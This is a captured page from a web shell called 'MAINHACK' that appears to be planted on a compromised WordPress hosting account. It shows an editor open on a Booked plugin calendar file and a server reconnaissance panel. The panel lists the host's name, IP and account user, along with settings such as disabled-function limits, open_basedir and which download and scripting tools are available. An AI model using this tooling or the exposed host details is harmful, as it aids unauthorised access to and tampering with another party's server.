[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: admin-calendar.php
<section id="booked-plugin-page" class="booked-admin-calendar-page-wrap"> <div id="data-ajax-url"><?php echo get_admin_url(); ?></div> <?php $calendars = get_terms('booked_custom_calendars','orderby=slug&hide_empty=0'); $booked_none_assigned = true; $default_calendar_id = false; $noTopBar = false; if (!empty($calendars)): if (!current_user_can('manage_booked_options')): $booked_current_user = wp_get_current_user(); $calendars = booked_filter_agent_calendars($booked_current_user,$calendars); if (!empty($calendars)): $first_calendar = array_slice($calendars, 0, 1); $default_calendar_id = array_shift($first_calendar)->term_id; $booked_none_assigned = false; endif; else: $booked_none_assigned = false; endif; if (!$booked_none_assigned && count($calendars) >= 1): ?><div class="booked-calendarSwitcher"><p> <i class="booked-icon booked-icon-calendar"></i><?php echo '<select name="bookedCalendarDisplayed">'; if (current_user_can('manage_booked_options')): echo '<option value="">'.esc_html__('All Calendars','booked').'</option>'; endif; foreach($calendars as $calendar): ?><option value="<?php echo $calendar->term_id; ?>"><?php echo $calendar->name; ?></option><?php endforeach; echo '</select>'; ?></p></div><?php else : $noTopBar = true; ?><div class="noCalendarsSpacer"></div><?php endif; else : $noTopBar = true; ?><div class="noCalendarsSpacer"></div><?php endif; if (!current_user_can('manage_booked_options') && $booked_none_assigned): echo '<div style="text-align:center;">'; echo '<br><br><h3>'.esc_html__('There are no calendars assigned to you.','booked').'</h3>'; echo '<p>'.esc_html__('Get in touch with the Administration of this site to get a calendar assigned to you.','booked').'</p>'; echo '</div>'; else: ?><div class="booked-admin-calendar-wrap<?php echo ($noTopBar ? ' noTopBar' : ''); ?>"> <?php booked_admin_calendar(false,false,$default_calendar_id); ?> </div><?php endif; ?> </section>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154